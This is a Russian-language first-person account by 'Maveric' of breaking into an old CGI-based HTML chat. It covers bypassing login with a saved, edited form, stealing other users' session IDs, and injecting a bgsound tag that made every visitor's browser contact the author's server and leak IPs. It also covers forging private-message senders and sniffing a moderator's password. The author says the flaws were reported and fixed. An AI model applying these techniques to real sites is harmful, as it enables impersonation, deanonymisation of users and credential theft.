О "взломах" html-чатов
Maveric
Я предполагаю, что читатель знает,
что такое CGI, и на этом построю своё объяснение.
Начал я с малого.
В любом чате фрейм, в котором ты
пишешь сообщения, генерится
динамически (для каждого входящего) и,
возможно, содержит несколько скрытых
полей. Типа <input type=hidden name=cookie
value=SP202134> (так в партизанах хранится
UserID)
Идея в следующем: сохраняем
содержимое этого фрейма на диске и
исправляем его так, что бы можно было с
ним работать со своего винта. Т.е.
заменяем ссылки типа /cgi-bin/refresh.pl на
полный путь www.chat.nsk.su/cgi-bin/refresh.pl и
вместо скрытых полей формы пишем типа
<input type=text name=cookie value=SP202134> (что бы
можно было их изменять) После этого
делаем HTML документ для "сборки чата"
из кусков. Т.е. примерно так
"First.htm"
<html>
<frameset rows="80%,20%">
<frameset cols="70%,30%">
<frame name="razg"
src=838/refresh.cgi?win+razgovor+nocookie#end">
<frame name="rigt"
src=838/right.html">
</frameset>
<frame name="bot"
src=838/"start.htm">
</frameset>
</html>
Start.htm - это и есть тот фрейм который я
сохранил и изменил
После этого я просто броузером
открывал эту страницу (First.htm). И сразу(!!!)
попадал в чат, минуя стандартную
процедуру входа. Это позволило :
1. Обходить зарегистрированные имена
2. Прятать свой IP от киллеров, за счет
взятия чужого ID'a
Дальше мне стало интересно
вычислить IP участников. Я обнаружил,
что не запрещён тэг <bgsound src=838/"">.
Это позволило вставлять в своё
сообщение ресурс со своей машины. Сам
по себе звук на хер не нужен, но этот
косяк позволил вставить в свой месс
строку типа <bgsound
src=838/spy.exe">. Этот скрипт
(spy.exe) вызывался с машины КАЖДОГО
участника чата. Это позволило увидеть
IP всех (скрипт просто сохранял мне на
винт данные из переменной окружения
REMOTE_ADDR). Это мне не очень понравилось,
тк не понятно было где чей IP. Примерно
в это-же время в чате появились
приваты. Это значит, что документ в
главном фрейме (тот где мессы все) стал
называться по другому.
До приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor#end
После появления приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+SP345678#end
Где SP456789 - UserID
После этого в скрипт (spy.exe) был
добавлен вывод ID'a из переменной
окружения HTTP_REFERER Ну а сопоставить ник
с ID'ом не проблемма, тк ID каждого
прописан там же примерно в такой
строке
<br><b><font color=yellow size=-1>Тут
ник</font></b>
<font color=black><a
href="/cgi-bin/private_form.cgi?SP448188">
<img src=838/mes.gif border=0
vspace=0></a></font>
(Это строка взята из правого фрейма,
где можно вызвать функцию "Кто в
чате")
После этого перестало быть
проблемой сопоставление ника и IP.
Затем я решил позабавиться с
приватами.
Используя метод сохранения
странички на винт (описанный выше), я
получил форму для отправления
приватов от КОГО-ТО КОМУ-ТО. Т.е. я смог
в отсылаемом приватно сообщении
проставлять имя отправителя.
Осталось только одно. Я знал, что в
чате есть киллеры, но ничего не знал
про то, что это, где это, как это. Знал
только, что для того, чтобы
киллерствовать надо зайти на какую-то
страничку. Очевидно, что в этой
киллерской страничке показываются
имена. Я предположил, что моё имя
показываются таким, каким я его ввожу.
Исходя из этого, я под именем <bgsound
src=838/spy.exe"> MyNick зашел в
чат (через прокси), и начал легонько
ругаться (мне надо было, чтобы киллеры
зашли на свою страничку). После этого (когда
меня убили) я разгреб лог моего
ВебСервера (OmniHTTPd beta) и увидел там
обращение со страници не относящейся
к известным мне страницам чата. Я
полез на эту страницу и получил запрос
на ввод пароля, со словами "Дорогой
администратор...". Это приятно
согрело душу. Дальше я начал думать, то
ли подобрать пароль, то ли ещё что
придумать. Но ситуация так сложилась,
что я оказался в одной сети с киллером,
и, запустив сниффер, я поимел пароль.
Ну вот и все.
With best regards, Maveric.
P.S. Ни один из этих приколов уже не работает в партизанах, т.к. это был "дружественный
взлом" и обо всем, что я нашел, я рассказал создателю чата. Он все косяки исправил.
|